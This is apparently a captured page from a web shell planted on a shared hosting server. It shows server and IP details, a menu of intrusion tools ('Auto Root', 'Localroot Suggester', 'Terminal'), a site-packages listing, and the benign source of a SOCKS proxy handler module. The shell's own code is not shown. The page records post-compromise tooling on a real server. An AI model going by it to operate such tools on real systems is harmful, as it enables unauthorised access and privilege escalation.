Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib /
python3.6 /
site-packages /
Delete
Unzip
Name
Size
Permission
Date
Action
Jinja2-2.11.1-py3.6.egg-info
[ DIR ]
drwxr-xr-x
2021-09-16 10:31
PySocks-1.6.8-py3.6.egg-info
[ DIR ]
drwxr-xr-x
2021-09-16 10:31
__pycache__
[ DIR ]
drwxr-xr-x
2025-11-12 05:45
chardet
[ DIR ]
drwxr-xr-x
2021-09-16 10:31
chardet-3.0.4-py3.6.egg-info
[ DIR ]
drwxr-xr-x
2021-09-16 10:31
contextvars
[ DIR ]
drwxr-xr-x
2021-09-16 10:31
contextvars-2.4-py3.6.egg-info
[ DIR ]
drwxr-xr-x
2021-09-16 10:31
distro-1.5.0-py3.6.egg-info
[ DIR ]
drwxr-xr-x
2021-10-19 04:13
idna
[ DIR ]
drwxr-xr-x
2021-09-16 10:31
idna-2.10-py3.6.egg-info
[ DIR ]
drwxr-xr-x
2021-09-16 10:31
jinja2
[ DIR ]
drwxr-xr-x
2021-09-16 10:31
pip
[ DIR ]
drwxr-xr-x
2021-09-16 10:31
pip-9.0.3.dist-info
[ DIR ]
drwxr-xr-x
2021-09-16 10:31
pkg_resources
[ DIR ]
drwxr-xr-x
2021-09-16 10:31
requests
[ DIR ]
drwxr-xr-x
2021-09-16 10:31
requests-2.14.2-py3.6.egg-info
[ DIR ]
drwxr-xr-x
2021-09-16 10:31
salt
[ DIR ]
drwxr-xr-x
2022-10-11 05:09
salt-3004.2-py3.6.egg-info
[ DIR ]
drwxr-xr-x
2022-10-11 05:09
setuptools
[ DIR ]
drwxr-xr-x
2021-09-16 10:31
setuptools-39.2.0.dist-info
[ DIR ]
drwxr-xr-x
2021-09-16 10:31
six-1.14.0-py3.6.egg-info
[ DIR ]
drwxr-xr-x
2021-09-17 05:11
urllib3
[ DIR ]
drwxr-xr-x
2021-09-16 10:31
urllib3-1.25.6-py3.6.egg-info
[ DIR ]
drwxr-xr-x
2021-09-16 10:31
distro.py
42.61
KB
-rw-r--r--
2020-03-30 17:10
easy_install.py
126
B
-rw-r--r--
2019-08-07 12:59
six.py
33.28
KB
-rw-r--r--
2020-01-15 13:10
socks.py
31.52
KB
-rw-r--r--
2017-12-20 23:05
sockshandler.py
2.84
KB
-rw-r--r--
2017-12-20 23:05
Save
Rename
#!/usr/bin/env python """ SocksiPy + urllib2 handler version: 0.3 author: e<e@tr0ll.in> This module provides a Handler which you can use with urllib2 to allow it to tunnel your connection through a socks.sockssocket socket, with out monkey patching the original socket... """ import ssl try: import urllib2 import httplib except ImportError: # Python 3 import urllib.request as urllib2 import http.client as httplib import socks # $ pip install PySocks def merge_dict(a, b): d = a.copy() d.update(b) return d class SocksiPyConnection(httplib.HTTPConnection): def __init__(self, proxytype, proxyaddr, proxyport=None, rdns=True, username=None, password=None, *args, **kwargs): self.proxyargs = (proxytype, proxyaddr, proxyport, rdns, username, password) httplib.HTTPConnection.__init__(self, *args, **kwargs) def connect(self): self.sock = socks.socksocket() self.sock.setproxy(*self.proxyargs) if type(self.timeout) in (int, float): self.sock.settimeout(self.timeout) self.sock.connect((self.host, self.port)) class SocksiPyConnectionS(httplib.HTTPSConnection): def __init__(self, proxytype, proxyaddr, proxyport=None, rdns=True, username=None, password=None, *args, **kwargs): self.proxyargs = (proxytype, proxyaddr, proxyport, rdns, username, password) httplib.HTTPSConnection.__init__(self, *args, **kwargs) def connect(self): sock = socks.socksocket() sock.setproxy(*self.proxyargs) if type(self.timeout) in (int, float): sock.settimeout(self.timeout) sock.connect((self.host, self.port)) self.sock = ssl.wrap_socket(sock, self.key_file, self.cert_file) class SocksiPyHandler(urllib2.HTTPHandler, urllib2.HTTPSHandler): def __init__(self, *args, **kwargs): self.args = args self.kw = kwargs urllib2.HTTPHandler.__init__(self) def http_open(self, req): def build(host, port=None, timeout=0, **kwargs): kw = merge_dict(self.kw, kwargs) conn = SocksiPyConnection(*self.args, host=host, port=port, timeout=timeout, **kw) return conn return self.do_open(build, req) def https_open(self, req): def build(host, port=None, timeout=0, **kwargs): kw = merge_dict(self.kw, kwargs) conn = SocksiPyConnectionS(*self.args, host=host, port=port, timeout=timeout, **kw) return conn return self.do_open(build, req) if __name__ == "__main__": import sys try: port = int(sys.argv[1]) except (ValueError, IndexError): port = 9050 opener = urllib2.build_opener(SocksiPyHandler(socks.PROXY_TYPE_SOCKS5, "localhost", port)) print("HTTP: " + opener.open("http://httpbin.org/ip").read().decode()) print("HTTPS: " + opener.open("https://httpbin.org/ip").read().decode())